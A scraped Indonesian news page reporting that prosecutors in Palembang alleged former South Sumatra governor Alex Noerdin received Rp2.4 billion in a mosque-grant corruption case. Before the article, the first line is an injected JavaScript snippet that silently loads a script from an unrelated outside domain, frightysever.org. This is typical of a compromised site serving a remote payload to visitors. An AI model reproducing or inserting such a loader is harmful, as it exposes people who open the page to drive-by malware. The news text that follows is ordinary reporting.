(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Mantan Gubernur Sumatera Selatan Alex Noerdin disebut menerima aliran dana senilai Rp2,4 miliar dalam pembangunan Masjid Raya Sriwijaya Palembang oleh Jaksa Penuntut Umum (JPU) pada saat sidang di Pengadilan Negeri Palembang, Selasa (27/7/2021).
Hal ini terungkap saat Jaksa Penuntut Umum (JPU) M Naimullah membacakan dakwaan terhadap empat terdakwa korupsi dana hibah pembangunan Masjid Raya Sriwijaya, yakni Eddy Hermanto, Syarifuddin, Yudi Arminto, dan Dwi Kridayani.
Di hadapan majelis hakim yang dipimpin Sahlan Effendy, Naimullah yang juga Kepala Seksi Penuntutan Bidang Pidana Khusus Kejaksaan Tinggi Sumatera Selatan ini menyatakan Alex Noerdin terindikasi menerima aliran dana tersebut berdasarkan temuan tim penyidik dalam kasus dugaan korupsi dana hibah pembangunan Masjid Raya Sriwijaya.
“Ditemukan bukti dimana ada pengaturan proses lelang agar dimenangkan oleh salah satu pihak swasta dan pemerintah. Juga ada indikasi menerima dan memberi sejumlah dana pada termin pertama dalam pembangunan Masjid Raya Sriwijaya tahun 2015,” katanya.
Baca juga: Sumbang Dana Covid-19 Rp 2 Triliun, Orang-orang Kaya Indonesia Contek Aksi Keluarga Akidi Tio
Meskipun demikian, keterlibatan Alex Noerdin nanti akan dibuktikan dalam persidangan dengan menghadirkan sejumlah saksi.
“Dalam sidang nanti kami akan menghadirkan saksi atas dugaan ini,” ujarnya.
Sementara Staf Ahli Alex Noerdin Kemas Khoirul Mukhlis mengatakan pernyataan jaksa tersebut harus dibuktikan terlebih dahulu sebelum disebut dalam surat dakwaan di persidangan.
“Nanti dalam persidangan akan dibuktikan apakah benar Alex melakukan hal seperti bunyi dakwaan,” ujarnya.
Ia menepis dugaan bahwa Alex Noerdin menyadari keterlibatannya tersebut sehingga membuat yang bersangkutan beberapa kali mangkir dari panggilan tim penyidik Kejaksaan Tinggi Sumatera Selatan.
Menurut dia, sebagai mantan gubernur, Alex Noerdin akan siap jika dihadirkan sebagai saksi untuk memberikan keterangan di persidangan.
“Sekarang tergantung jaksanya bagaimana, apakah perlu atau tidak untuk menghadirkan beliau (Alex Noerdin), karena untuk menghadirkan saksi itu perlu mekanisme dari jaksa ke persidangan,” katanya.
Sebelumnya, Alex Noerdin dan Ketua Mahkamah Konstitusi (MK) periode 2003-2008 Jimly Asshiddiqie batal diperiksa tim penyidik Kejaksaan Tinggi (Kejati) Sumsel karena mangkir dari pemanggilan, Senin (26/7).
Adapun dalam proses pembangunan Masjid Raya Sriwijaya pada saat itu, Jimly Asshiddiqie menjabat sebagai Ketua Dewan Pembina Yayasan Wakaf Masjid Raya Sriwijaya, sedangkan Alex Noerdin menjabat sebagai Ketua Pembangunan sekaligus anggota Dewan Pembina Yayasan Wakaf Masjid Raya Sriwijaya.
Baca juga: PPKM Level 4 Berlaku di Banjarbaru-Banjarmasin, 11 Daerah Masuk ‘Daftar Hitam’ PPKM Level 3
Keterangan dari kedua orang tersebut dibutuhkan oleh tim penyidik Kejati Sumsel untuk mengusut tuntas kasus dugaan korupsi dana hibah pembangunan masjid prototipe terbesar di Asia Tenggara ini.
Sejauh ini enam orang telah ditetapkan sebagai tersangka, yang mana empat diantaranya menjalani sidang perdana hari ini.
Dua orang lagi yakni Sekretaris Daerah Sumatera Selatan 2013-2018 Mukti Sulaiman, mantan Kepala Biro Kesejahteraan Rakyat Setda Sumatera Selatan Ahmad Nasuhi dalam waktu dekat akan disidangkan juga.
Para tersangka/terdakwa disebut telah melanggar Pasal 2 juncto Pasal 18 UU Nomor 20 Tahun 2001 jo. Pasal 55 KUHP dan subsider Pasal 3 jo. Pasal 18 No. 20/2001 jo. Pasal 55 Ayat (1) ke-1 KUHP. (Antara, suara.com)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.